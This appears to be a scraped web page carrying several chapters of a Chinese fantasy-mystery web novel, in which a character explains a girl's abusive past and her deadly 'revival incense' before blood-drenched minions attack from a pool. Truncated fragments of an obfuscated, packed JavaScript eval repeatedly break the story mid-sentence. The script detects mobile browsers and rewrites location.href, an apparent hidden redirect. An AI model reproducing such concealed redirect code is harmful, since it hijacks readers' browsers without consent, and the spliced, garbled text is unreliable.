l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547121|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却突然发觉了不对劲。 她问姜小四:“你有没有觉得,林苑的神色很不正常?” 珊瑚武力不输方骅,但此时在面对林苑这个比她矮上半个头的姑娘时,居然显得有些力不从心。 这让冷萤不禁有些着急了。 姜小四表情则是有些委屈。 (我没有加大剂量。) “什么剂量?”冷萤总觉得自己有些没看懂。 (幻药,方骅让我做的。我提前给你们都洒了解药的。) 看着林苑潮红的脸庞,血红的双目,冷萤哭笑不得道:“你动作还挺快,不会是用的……” 她的话还未说出,姜小四连忙抬头解释。 (放心,我不是用的回生之香。这种幻药无害的,只是想让她说出真相而已,一会儿就自己消散了。只是没想到, 威力会这么大。) 冷萤也觉得很奇怪,只是用了幻药而已,为何林苑的反应会如此大? 见她表情严肃,少年以为她生气了,摇了摇她的手臂继续。 (我不会乱用在普通人身上的,要不是他命令我,我也不会用的……) 看着姜小四委屈的表情,冷萤心里顿时明白了。 这句话,很明显就是在告某人的状了…… (而且,这药平时也只会迷幻一刹而已,最多能套两句话。) 既是这样,那为何前方的林苑越战越勇? 她瞧连方骅都看不过去,将卢辉一脚踢进了血池,再急忙跑过去帮明显屈居下风的珊瑚。 她便又是提着一颗心,又是觉着这一切还是不太对。 “确实有些不太对劲……”她喃喃自语道。 难不成,除了姜小四用的那些幻药,林苑体内还有别的药物,所以才会让她一瞬间像变了一个人似的,以一敌二还柔韧有余? 瞧着珊瑚突然被林苑打了一掌,冷萤整个身体也跟着颤动了一下。 不行,她得想办法! 于是,慢慢地…… 她将目光移至正从血池里爬出的卢辉,头也不回地问姜小四:“你有办法将他给控制住吗?” 第一百三十章 过往(1) 血池旁边,卢辉全身湿淋淋地趴在那里。 冷萤与姜小四走过去时,他抬起眼看了眼站在身前的两人,眼神已逐渐恢复正常。 方骅为了摆脱卢辉的纠缠将他踹进了血池,泡在凉入骨髓的池水里,倒是无意间让他清醒了过来。 姜小四拿出瓷瓶打开瓶口,正准备朝他伸过去。 “咳咳……”趴在地上的人呛咳了一口血水,随即沙哑着嗓音开口:“可以不要用么,你们想知道什么直接问便可。” 姜小四端着瓷瓶的手一顿,侧头看向冷萤。见对方同意,他才慢吞吞地将手上的东西收回包里。 地上的人想爬起身,无奈池水本就凉入骨髓,他在里面泡了一会儿,此时竟全身都在发抖。 见他抖得连话都说不清,姜小四停顿片刻后好似想到了什么,转身朝躺在一旁的守卫走去。 冷萤与卢辉的视线同时跟随着他,见他在守卫身前站了一会儿,脚步无意识地原地移动几步,好似有些无措。 从他的背影,两人都能瞧出他内心的挣扎。 不远处,三个人依旧打得激烈。 而血池旁的两人,眼看着白发少年在踌躇片刻后,便果断蹲下身,毫不犹豫地扒了其中一名守卫的外衣。 随即返回,将手中的外衣递给了卢辉。 “谢谢……”趴在地上的人慢慢坐起身,有些受宠若惊地接过对方递来的外衣,默默套在自己身上。 谁知,少年有些不赞成地皱了下眉头,用手指了指他刚穿上的外衣。 卢辉不解的目光转向冷萤。 “他是想让你将里面打湿的衣服脱掉,直接穿外衣。”冷萤向他解释。 终于明白少年的用意,卢辉垂下头摇了摇,“不用了,就这样吧。” 见他自己都不在意了,冷萤与姜小四为了配合还有些虚弱的少年,同时盘腿坐在了他对面。 几人都心知肚明,那边的战局一时半会儿解不了,便干脆席地而坐,等打到他们这边了再说。 “其实你们说得也没错,我们的确自小便认识。只不过……不是青梅竹马。”卢辉调整好姿势后,慢慢开了口。 自小认识,又不是青梅竹马?意思是说,两人从前关系一般,见过面却不熟悉? 可他们之前所见到的林苑与卢辉,瞧起来明明还挺有默契的。 那日在胭脂铺里,卢辉的眼神并不像现在这般迷茫,看向女孩眼神里也满是关切。 一个人,真的连眼神也可以伪装吗? 冷萤在心中暗想,却并未将自己的疑惑说出口。 “我知你心中疑惑,只能说……林苑年幼的经历太不寻常了。小时我不懂,只以为她不爱出门同我们玩耍。谁知……”他说到这里,微微叹了一句。 “她年幼时,曾经经历过什么不好的事吗?”冷萤通过对方的表情,只能这般猜测道。 颓丧的少年穿着宽大的外衣,双腿盘坐着微微弯腰,将双肘搁在膝上。随之他的目光渐渐迷离,好似一瞬间陷入了回忆里。 “小时候家里虽然穷,但我是家中的独子,爹娘也算是倾尽一切送我去学堂读书。林苑的家就在我家隔壁,每每我去学堂时路过她家门口时,总能瞧见她站在窗边,悄悄探出一颗脑袋看我。” 讲到这里,他抬眼看向冷萤:“我当时年纪小,见识少,沉水镇里又几乎接触不到外界。所以很长一段时日我都以为,她不去读书是因为偷懒。却从未认真考虑过,学堂里的女孩为什么会那么少。” 冷萤默然…… 少年继续道:“所以某一日,在她又一次探出脑袋看我时,我没忍住便开口问她为什么不去念书。当时她看我眼神,与那日在胭脂铺里瞧你时的眼神,简直一模一样。” 听了他的话,冷萤努力回想那日在胭脂铺,在自己说出那番很自我的言语后,林苑究竟是在用何种眼神看她。 “所以,那日你们在胭脂铺里的一切都是假装,既没有夫子,也没有林叔叔劝学?你说的一切,都只不过是在配合她演戏?”冷萤问道。 谁知,卢辉竟摇了摇头。 冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547122|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萤有些诧异,但还是耐心听他讲道:“真的有夫子,只不过是她后面绑来的。也有林叔叔,她的爹娘确实也待在家中,只不过他们再也不敢对她说一句重话,也不敢再干涉她的任何举动。” 见眼前的冷萤与姜小四都有些惊讶,他表情逐渐变得莫测高深。 随即道:“我好像忘了跟你们说了。林苑她自小天赋异禀,有着非凡的嗅觉。任何带有气味之物,经她一闻后,转手便能立即调出一模一样的气味。” “好厉害!”冷萤不由赞了一句,是发自内心地佩服。 少年也赞同道:“确实厉害。不过有些能力只能说……甲之蜜糖、乙之砒霜吧。” 一瞬间,冷萤好似懂了他的意思,问道:“你的意思是,她自己并不想要这种能力?” 对方点点头,说出原因:“在她会开口说话时,林叔林婶便察觉到她有这种能力。所以……自林苑有记忆起,就像一个被控制的木偶般不停地闻香、调香。如果不愿意还会被打,连一日都不曾休息过。” 虽然知道此时这个问题不该提,但是冷萤的确很是疑惑:“她的家人不愿意送她去念书,她又怎能正确分辨出那些气味,同时将那些气味记录在册呢?” “如果我说她根本无需任何记录,只凭嗅觉便能准确调制出相同的气味,你大概也是不会相信的。”卢辉想了想,回答她。 “我相信。”冷萤点头,“所以她家人想着她有此等百年难遇的能力,便也无须再送去念书了,对吧?” 对方的人点点头后,又摇了摇头道:“或许……她没有也不会送。” 此时的冷萤总算知道,为何林苑对别人提出去学堂这件事,会有如此反感的情绪了。 人最终会为了年少时不可得之事,而遗憾一辈子。 只是,有的人会将遗憾转化为动力,在伸手可摘星时,选择让那颗星永远挂在头顶,照耀自己前方的路。 而有的人,则会狠狠扯下那颗星,捣碎后敷在自己的旧伤口,企图用这种玉石俱焚的办法,抚平自己陈旧受伤的内心。 第一百三十一章 过往(2) 说到这里,冷萤突然想起道:“那她,是从何时开始研究‘回生之香’的?” 卢辉下意识将目光转向林苑,此时那边的战况慢慢逆转,方骅与珊瑚已经逐渐占了上风,而林苑的动作明显有了疲态。 或许是知道,即便是他们赢也不会存心伤害林苑。可如果是林苑赢了,在场所有人可能都会有危险。 所以卢辉并没有选择上前帮忙,而是继续坐在原地,将自己所知道的一切告知。 “我记得有一日,林家夫妇又将林苑调好的香材拿到夜市去卖。她一个人成功从家里偷溜到了树林深处躲着。那日,我正好去林间帮爹娘拾香材,便恰好碰见了她。” 说到这里,卢辉冷漠的面容,终于有了一丝动容。 他慢慢讲述:“当时我见她迷了路,本想带着她一起回家,却被她用一把小刀定在了原地。” 冷萤问:“意思是她当时手上有武器,并用它来威胁你?” 卢辉颔首。 “她那时多大?” 少年想了想,回道:“八岁左右。” “那你呢?” “十岁左右。” 冷萤点点头表示明白,后想起什么又问道:“虽然她手上有刀,但你想要逃跑应该也不是难事吧?” “我确实可以跑,她或许是第一次拿这么尖锐的器具,用刀指着我时手还在不住地颤抖。只是……” 他顿了顿,才又道:“……我有些不忍心。一个小女孩,深夜在林间待着太危险了。并且她的情绪也不是很稳定,我怕会出什么事。” 听罢,冷萤问道:“其实你是故意留下来陪她的,对吗?” “也不能说陪,我其实还是想带她回家。在我不知道那些往事时,一直以为林家夫妇很保护她。毕竟……连我们住在隔壁,一年都见不到她出门一次。现在想想,我那时的想法还是有些太片面了。” 说到这里,卢辉收起了淡淡的笑容。 “这一切,与她制出‘回生之香’有什么关联?” “回生之香……”少年喃喃一句:“这种害人的香,不仅害了众人,也害了她。” 这时,姜小四朝冷萤做了几个手势。 冷萤点头表示明白,随即朝卢辉道:“他说,他翻遍了所有香册,从未见过一种叫作‘回生之香‘的香料。” 她话音刚落,对方则态度坦然回道:“也许是没有。但是,这香方是我俩一起在林子里捡到的。” “什么?”冷萤以为自己听错了。 少年点点头:“你没听错,就在那一晚我正在劝她回家时,那张香方就被人丢在那里。因为纸上有香气,吸引了林苑过去,我们才碰巧瞧见了那张香方。” “这么巧?” “对,就是这么巧。” 见对方明显不信,他再次强调道:“那日林子里只有我们两个人,我肯定不会看错的。” 冷萤猜测:“会不会有人知道她当日会进林子,所以提前将香方留在了那里?” 这世上哪有这么巧的事?偏偏林苑那一日从家中逃了出来,又偏偏那张香方就出现在她躲避的树林里。 卢辉好似也觉得她说得有些道理,但这事已经过了那么久,现在来追究缘由也只能是无解。 “她的一切改变,便是从捡到香方开始?”冷萤果断地问出心中所想。 少年想了许久,瞳孔因为突然察觉到什么而逐渐变大,随后倏然看向两人重重点了下脑袋。 “好像就是捡到香方后,我有好几日都未再见到过她。平时出门时,也未发觉她躲在屋里偷看。直到……有一日。” 讲到这里,少年的表情好似猛然想到了什么可怕的事。 在嘴角微微抽搐了下后,他缓缓开口道:“我在经过隔壁时,看见林叔……他拖着全身是血的林婶出来。林婶不停哀嚎着让林叔放过她,然后,我瞧见了林叔嘴旁都是血……” “嘴唇都是血?”冷萤惊骇地重复了一句。 卢辉点头:“对,他不仅嘴唇与牙齿上都是鲜血,脸上的表情也很奇怪,就像是兴奋到了极致的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547123|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样。我当时害怕极了,便躲到他们家门口的树后边。” “然后呢?” “然后……”恐惧到皱起眉头,他以极轻的语气道:“我看见林苑她……居然是笑着从屋里走了出来,站定后便静静望着自己的爹娘,表情就像是在看两只小猫打架一样。” 听到这里,冷萤好似明白了…… 于是,猜测道:“林苑拿到香方后,将自己锁在屋里按着上面的香材制作出了‘回生之香’可是里面有一味,要用到……”鲜血。 她的猜测还未完全说出口,少年便接过话道:“你猜得没错,她割了自己的手臂,用鲜血调制出了完整的‘回生之香’。而第一个试用此香的,便是自己的父亲。” 果真如此! 难道是因为,林苑恨极了爹娘自小便将她锁在家中,让她没日没夜制作香料,如有不从便开始动手。 所以在她有了能力可以反击时,第一个报复的,便是自己的亲生爹娘。 “我那日一直在树后,瞧着她从头至尾就这么冷静地站在那里。直到林叔 身上的药效过去,再也无力做出任何举动瘫软在地,她才慢慢回身走进屋内,关上了房门。压根……没理林婶的哀嚎。” 气氛顿时沉默下来,就连不远处打架发生的声音,也不再引起几人的关注。 冷萤转过脸,看向正在退守的林苑,问道:“当时她父亲的脸上,是不是就是林苑此刻的模样?” 卢辉并未随着她的目光看过去,却是非常坚定地点了点头。 冷萤默默想着,她其实还有一句话没说出口。 方才,卢辉自暗处走出时,也是这样的表情。只不过,他可能意识到不对,一直在抗拒体内滋生的暴戾,才没有突然开始发狂。 由此说来,一个对香气这样敏感的女孩,在方才姜小四对她用幻药时,居然没有立刻察觉到。 便只有一个原因,就是她当时已经神志不清了。 除了自己爹娘和林辉,林苑她……竟对自己也使用了“回生之香”? 第一百三十二章 池底的黑影(1) 既然说到了这里,冷萤便开口问起:“林苑为何会武?” 她自然不会以为是林家夫妇专门请人教导的。林苑自小连书都没得念,更加不会有机会去习武。 卢辉回道:“我也不太清楚。自那以后,我便很少能见到她。只是发觉,她能正常出门了,林叔林婶一夜之间老了许多,并且再也没去夜市上摆摊。” 从卢辉的话语中,冷萤能抓住一些蛛丝马迹。大概是林苑用“回生之香”控制住了林家夫妇,两夫妻无法再继续绑着林苑,她自然想干什么便干什么了。 “那为何,你后来又与她有了交集?”冷萤不解道。 他既已瞧过那一幕,自然知道接触林苑可能会有危险。 少年低头,拢了拢过大的外衣,对两人道:“我母亲得了一种治不好的病,找了许多大夫都没法治,钱也花得差不多了。父亲有一次想着去找林家夫妇借点钱,那日我正好不在家,他一进去便遇见了林苑。” 这件事,她倒是听说过。 见对方好似并不吃惊,卢辉便继续讲着:“我回家时父亲告诉我,说林苑有办法救我娘,我当时并不信任她,便让父亲先不要答应。随后,我便亲自去林家登门问询。” “你胆子还挺大的。” 他苦笑一声:“呵,你也觉得我鲁莽了是不?其实那日上门,我的确吃了不少苦头,但同时也相信她确实能救下我娘亲。因为我在奄奄一息之际,亲眼瞧见她救活了一名男子。” 奄奄一息?亲眼看见? 冷萤不禁有些怀疑,他在说这句话时究竟有没有考虑过,当时他的脑袋可能不太清醒。 不过,这件事先暂且按下不表。有一件事,她更想知道。 于是,她见缝插针地问了一句:“她救下的男子是不是戴着个面具,个子并不矮?” 对方有些诧异,没想到她连林苑救治的男子戴着面具这事都知道,诧异道:“你们见过?” 看着卢辉一脸好奇,冷萤有些不忍告诉他,他那日过去林家时,可能是被林苑与她的属下联手“做笼子”了。 但凡他清醒一些便能想到,一个并不是多么有善心的女子,怎么会当着他的面无缘无故地救下一名陌生男子? 于是她话锋一转,问道:“沉水镇遇害的那几名女孩,都是她杀的吗?” 犹豫片刻后,少年微微点头。 “你有参与吗?” “我没有!”这句话,他倒是回得非常快,“我只答应在母亲病好之前,保护她的安全。只是……”他目光移过去,见林苑一把扯过珊瑚放出的弦线,眉头一跳道:“她真的需要我保护吗?” 冷萤也觉得奇怪。 如果林苑只是需要一对老实夫妻替她将“回生之香”交付给购买的人,那便直接与卢家夫妇联系就好了,为何还非要让卢辉也参与进来? 想不明白地摇摇头,她回归到正题上,继续问道:“既然你没有参与,为何知道她杀了那几个女孩?” 见少年一瞬间愣怔的表情,冷萤知道自己问到点子上了。 “因为有一段时日,她与引香坊的陆掌柜关系很好。还同我装成青梅竹马,佯装上门售卖香材,问就说为了换取束修,这样便轻易地取得了对方的信任。” 又是这一招,冷萤内心已经平静无波了。 按陆引的性格,看见既瘦小又可怜的林苑,泛滥的同情心只怕有过之而无不及。 暗自心想时,她忽然觉察到一件事! 陆引曾对程平说起过,自己在胭脂铺有熟人。所以在调查那些女孩死因时,她托熟人的关系义无反顾地走进了胭脂铺。 现下,卢辉又说林苑与陆引之前是相熟的。 难道…… “原来将陆引骗去胭脂铺的人,便是林苑。”她朝卢辉问道:“你也是因为发觉到这件事,所以才明白那些女孩都是林苑杀的吗?” 见她自己悟了过来,卢辉也便没再继续说下去,只是轻轻点了下头。 “知道她为何要这样做吗?”冷萤继续问。 少年垂下眼,默默说了一句:“她做这些事的缘由,又怎么同我说?我只是没想到,当初在林子里瞧着那样孱弱的小女孩,最后居然会变成这个样子。” 静静看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547124|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个人浸满失望的少年,冷萤并未想过要安慰他。只有让他完全看透一个人,才会彻底醒悟过来。 她瞧得出,胭脂铺里的卢辉与林苑互相关心时,眼里并没有做戏时的别扭与生涩。 只是,不管怎样那都不是现实,如今的他,不能对一个杀害过许多人的林苑,抱有任何一丝的幻想。 想到这里,冷萤再次开口:“你知道她在拣香坊中养了一群死士吗?” 少年有些诧异地抬起眼,喃喃道:“我只知道那里有她的秘密,但她从不让我踏进后院一步。” “你难道从未想过偷偷进去瞧一眼吗?”她试探地问道。 对方回道:“不怕和你说,我试过。” 然后呢?冷萤示意他继续。 “被打了个半死,还不知道是谁动的手。”卢辉的脸上,难得出现一丝尴尬。 冷萤努力维持冷静的表情,心里 却想:也算是个傻小子,白白挨了顿揍却连是谁都查不出。 虽然有些事得让他自己想清楚。 但冷萤还是忍不住提醒道:“那些死士,都是她用‘回生之香’养着的。由于时日太长,他们已经彻底失去人性,变成了没有意识,只会趴在地上喝血的可怜怪物。” 话音刚落,冷萤见少年的面容从不可置信变为了恐惧。 她见好就收,不再继续下去。 那边的方骅与珊瑚也正好合力将林苑擒住。 被抓住的女孩目光渐渐清明,不再是鏖战前血红的双瞳,只是看向他们的眼神里,依旧满是狠毒与阴冷。 被珊瑚的弦丝绑住的林苑被推坐在地上。 冷萤走上前,对两人道:“辛苦了。”她都没能帮上忙。 本来还在威胁林苑的珊瑚,一听冷萤这样说,立刻就想上前撒娇要抱抱,半路上却被一把折扇拦住。 “就你累,别人不累?”拦住她的人冷言冷语道。 珊瑚正想一把劈了他那把破扇子。突然,不远处的血池里开始翻涌、激荡…… 众人疑惑地看过去,却瞧见血池下居然出现了一道道的黑影! 第一百三十三章 池底的黑影(2) 幽暗的光线,令在场所有人的视线受阻。 他们刚一回头,原本引起骚动的池面,又突然静谧得如同血红色的镜面,唯有一阵泛起的微澜还未消退,透露出一丝不寻常的气息。 突然,一滴血滴在池面上。 随之,滴落的声音回荡在井洞中,让在场除了林苑之外的所有人,瞳孔瞬间紧缩。 方骅站在血池边上,目光穿透那层猩红的水面,试图捕捉那些躲藏在血池之下的黑影。 而卢辉则是快速站起,害怕地看向血池下浮起的一道道黑影。 那些人影一动不动,每道暗影仿佛早已被凝固在池面下,看过去显得诡异又阴森。 冷萤一直在暗处观察林苑的表情,在发现她嘴角暗藏着一抹格外扭曲的笑容后,冷声问道:“血池下藏着的,是你的人?” 被问到的人挑衅地看着冷萤,一句话也不肯说。 珊瑚见对方嚣张的模样,想着要不要把弦丝撤了再和她打上一架。这人的表情,看来还是没挨够! “如果我没猜错的话……”冷萤一边说,一边观察对方的表情,“是你豢养的那些死士?” 林苑表情一愣,似乎没想到她会这么快猜到。见到对方的表情,冷萤还有什么不明白的。 她立即转头,对着血池边站着的另外三人道:“快离开血池!” 她的语气少见的着急,方骅与姜小四一听,一人扯着卢辉的一只胳膊急速朝后退去。 就在他们离开血池边的一刹那,一只惨白的手掌从池下伸了出来,一掌拍在了姜小四方才所站之地。 随后,又一只惨白的手伸出,两只手同时一用力,一个满脸鲜血,嘴边还溢出血水的恐怖人脸,出现在众人眼前。 落差太高他一下没起来,“扑通”一声又再次跌回池中。 一直盯着血池的众人,还没来得及松一口气。 却赫然发觉,在那人跌落池水的同时,有好几双与他相同的惨白双手,齐齐地抓住池边。 趴在水池边上的每个死士脸上,全都被鲜血覆面,双目赤红、面无表情地动作着。 这样的场面,让冷萤几人以为,他们是不小心闯入到十八层地狱中。 这时,被珊瑚一把推倒在地的林苑,挣扎着站起身。她的双手双脚虽然被弦丝捆住,但丝毫不影响她对这些死士下命令。 在看见池水面陆陆续续有人上来后,她骇然一笑露出一口白牙,凉着嗓音一字一句道:“把他们,都!杀!了!” 卢辉听到她的命令,不可置信地转头看向林苑,仿佛没听清对方说的话。 “别愣神了!她说都杀了也包括你,听明白了吗?”珊瑚一巴掌将他拍回了神,指着前方一脚将其中一名死士踹进血池的方骅,“像他一样,揍他们!然后……” 她将手指向林苑,开口道:“再揍她!” 林苑并没有看向他俩,而是一直将目光死死盯着冷萤,仿佛在看她要如何解决。 封闭的井洞,只有顶上一个出口。 他们可以不停与那些用了药的死士厮打,就当是缓兵之计。但时辰一长,她安排在此的守卫便会一个个苏醒。 她现在,只需要站在旁边静静地看。看那个不可一世的女子,要如何突破自己布下的死局。 与此同时,与姜小四站在一起冷萤,看着方骅和珊瑚还有刚加入的卢辉,一次次将那些企图爬上来的死士踹下去。 她开口道:“走,上去帮忙!” 方骅本来一心在对付那些不怕痛,就像狗皮膏药的死士。突然,余光瞧见身边一道月牙白的身影出现。 他不用转头便知道是冷萤,立刻一边动作一边喊道:“你过来干什么?你俩找个地方躲着就行。” 冷萤从地上捡了一块大石头,费尽力气举到最高,对准正在往上爬的其中一名死士头上重重一砸。 见那人成功被她击中,她大口喘着气用尽量平和的声音道:“我们一起,总会找到办法的。” “不行,快去后面!”方骅丢出折扇,横扫一片刚露出的头,然后抽空看了她一眼,轻声道:“听话,太危险了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547125|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你放心,遇到危险我会尽快躲开的。”冷萤保证完,便撒腿跑到珊瑚旁边去帮她了。 那些死士仿佛一点痛意都没有,方骅担心地正想追过去,却见方才他折扇刚打落的几人,又慢慢爬了上来。 见状,他双眼一暗,扫了一眼冷萤那边发现暂时无事,只好又留下来先解决了这边几个。 那边,珊瑚见冷萤过来,立刻拉了根弦丝在她俩面前。 “冷姐姐,不要越过这条弦丝,他们暂时还咬不烂。然后……”她抱起一堆石头,恶狠狠开口道:“砸他们!” 怕冷萤动作太慢,她还贴心地一次拿两块石头,自己一块,递给对方一块。 只是这样下去,终归不是办法。 他们现下暂且还有精力阻挡那些死士,可人的体力是有限的,除了那些死士…… 特别是,他们今日还被这池血水滋养着,便更难击退了。 冷萤下意识瞧了眼双手双脚被捆住的林苑,见她站在原地,嘴角噙着笑惬意地看着 他们忙碌,眼底居然有一种掩饰不住的兴奋。 她到底……在兴奋什么? 做下的这些事情,到底对她有什么好处? 如果是因为年幼时父母对她的束缚与打骂,因而造成她心理扭曲想报复所有人,她的情绪也太不对了。 对方此时给冷萤的感觉,就像是终于完成了某件大事,即将得到自己所有想要之事的快感。 再结合她突然身怀武艺,明明人在井洞中,那些死士却可以在关键时刻寻过来。 难道……是那个面具人? 他有本事驱动那么多死士,然后在没人发现的情况下,再将这些死士…… 等等! 想到这里,冷萤猛然间想到了什么! 这些死士,他们是怎么进来的? 凭她浅显的常识,他们即便会游水,也不可能这般长的时辰全都待在池底。 那只能说明一件事! 这血池的下方,是有出口的! 第一百三十四章 出口 眼见着卢辉被一名发了狂的死士打晕,姜小四忙跑上去帮忙。 意识到有出路的冷萤,手中的动作仍未停歇,使出平生最大的力气喊出一句话:“你们谁会游水?” 听到她这句话时,反应最大的是林苑。 原本一直戏谑着像看戏一样的女孩,表情赫然发生了变化。她微扬的嘴角马上平了下来,看向冷萤的眼神又冷上了几分。 “我会!”方骅半点没犹豫,在冷萤将这句话问出口时,他已经明白了她的意思。 姜小四也举起了手,方骅直接无视,大声道:“先把这群死士引上来,珊瑚和姜小四控制他们,阿萤看好林苑。我一个人下去就行!” 石头不够用了,井洞里也没有什么别的东西可以拿来攻击,冷萤平时第一次抬脚踹人。 她一脚下去,见被她踹的那人半天没浮上来,才抽空说了句:“你一个人下去搞得定吗?” “没问题。”方骅干脆回应她后,整个人移动到血池的最角落,将到处游荡的死士往同一个地方赶去,好方便珊瑚用弦丝将他们控制住。 姜小四与珊瑚也学着他的样子,一人站在血池的一个角落。 三人同时行动,将死士的活动范围压缩到最小,迫使他们只能从一处方向爬上岸。 好在大多数死士本身已没了自身的意识,只要驱赶他,他就能自觉地朝他们想去的方向游去。 只不过一个队伍里,总有那么几个不配合的人,就连失去神志的死士都是。 冷萤站在林苑身边防止她轻举妄动,可眼见着有几名死士乱跑,不停耗损自己同伴的精力。她慢慢看向一旁的女孩…… 目光慢慢下移,在看见对方腰间鼓鼓囊囊时,她猛地灵光一现,伸手就往林苑的腰间探去。 “你干什么?”被缚住四肢的人连蹦带跳地后退,对冷萤的动作格外抗拒。 女孩的反应,让冷萤对自己的猜测更加确定。 “失礼了!”她敷衍着象征性道了个歉,单手以极快的速度,在林苑还来不及移开时,扣出了对方腰间的几个瓷瓶。 果然不出所料,对方腰间藏着的,便是那害人的回生之香。 “不告而取,为偷!”女孩气急败坏说着,却也拿冷萤没有办法。 她拿到了自己想要的东西,不再管林苑的态度如何。看了看手中的瓷瓶,正好三瓶。 丢了一瓶给珊瑚,一瓶给姜小四。 在方骅准备伸手接过时,朝他喊了句:“我们三个来引路,你趁机下去。不要硬撑,有危险先上来!” 方骅对她重重点了下头,随即二话不说跃进了血池中。 死士们正在一个个争先恐后地往上爬,有几个还泡在血池里的,听到了身后的响动,不知怎的居然有了反应。 就在他们想将头转过去时,冷萤扒开瓶口,对着那几名死士晃了晃。他们注意力瞬间被回生之香吸引过来,动作迅速地朝一个地方往上爬。 他们一个个恍若前方无人,脚踩着自己同伴,将对方压到身下,一点一点地从血池爬出。 珊瑚眼明手快,上来一个捆一个,上来一对捆一双。 三人同时上来用弦丝捆不太住的,她就跑上前踹掉一个人后,再捆。 被踹走的那个,刚行动缓慢地爬起身,张牙舞爪地想跑来时,便被一根弦线吊着丢掉到最远的角落。 场面突然变得混乱,特别是当所有死士都慢慢上岸后,无人再顾及躺在角落里的几名守卫。 没有人发现,其中一名守卫的手指微微动弹了下。 他睁开眼,抬手拍了拍自己的脑袋,再慢慢坐起了身,转头朝血池那处看了过去。 只需一眼,铺天盖地的血红色画面,冲击着他还未完全恢复的感官,让他瞬间忘记了自己的职责,只能呆愣在了原地。 须臾,他摸摸自己消失的外衣,终于才回过了神。在看见那名被捆住的女子时,即刻就想爬起身上前去解救。 可就在他扶着一旁的井壁,好不容易站起身,正准备行动时。 一个被弦丝拴住的死士,目标极其精确地朝他飞来。 这名守卫昏迷前最后的画面,是一张满脸鲜血,带着诡异傻笑的人脸。 “哎呀,失手了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547126|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 珊瑚看着不远处又被她不小心砸晕的守卫,有些无辜地朝冷萤吐了吐舌。 冷萤则是手脚忙乱地,回了对方一个昙花一现的笑。 她脸上虽是带着笑,心里却在想这些死士怎么那么多。虽然确实没什么攻击性,但就像苍蝇一样怎么赶也赶不完。 让她这么焦虑的,不光是这前赴后继的死士,还有刚才下到血池找出口的方骅。 眼见着他下去有好一会儿了,这半天还不上来,会不会遇到了危险? 或者,他太急着想寻出路,而忘记了自己在水里,憋得太久晕在了血池里? 想到这里,她心脏猛地一缩。 见死士被捆着差不多了,她将手中的瓷瓶递给姜小四,自己则是跑到血池边上,蹲下观察池底的动静。 她从未有一刻,害怕看见这方血池平静的表面。 一个人憋气的功力再厉害 ,也不可能维持那么久的。 因为担心,她整个人上半身都朝血池上方探去,却未发现身后慢慢向他靠近的人影。 珊瑚与姜小四两人,正在努力将那些死士拖到一起,也无暇顾及到冷萤这处。 只有林苑她站在原地,亲眼看着方才被珊瑚丢出去砸晕守卫的那名死士,在醒过来目光便锁定了冷萤的背影。 之前他只来得及被捆住双手便被急切丢出,以至于双脚还能正常行走。 他张着手臂,脸上挂着诡异的笑容,脚底无声朝冷萤背后慢慢移动。 看着这一幕的林苑,消失许久的笑容又再次回到脸上。 只是那死士离冷萤越近,林苑的笑容便越发僵硬。甚至到最后,她的双脚还下意识地往前跳了两步。 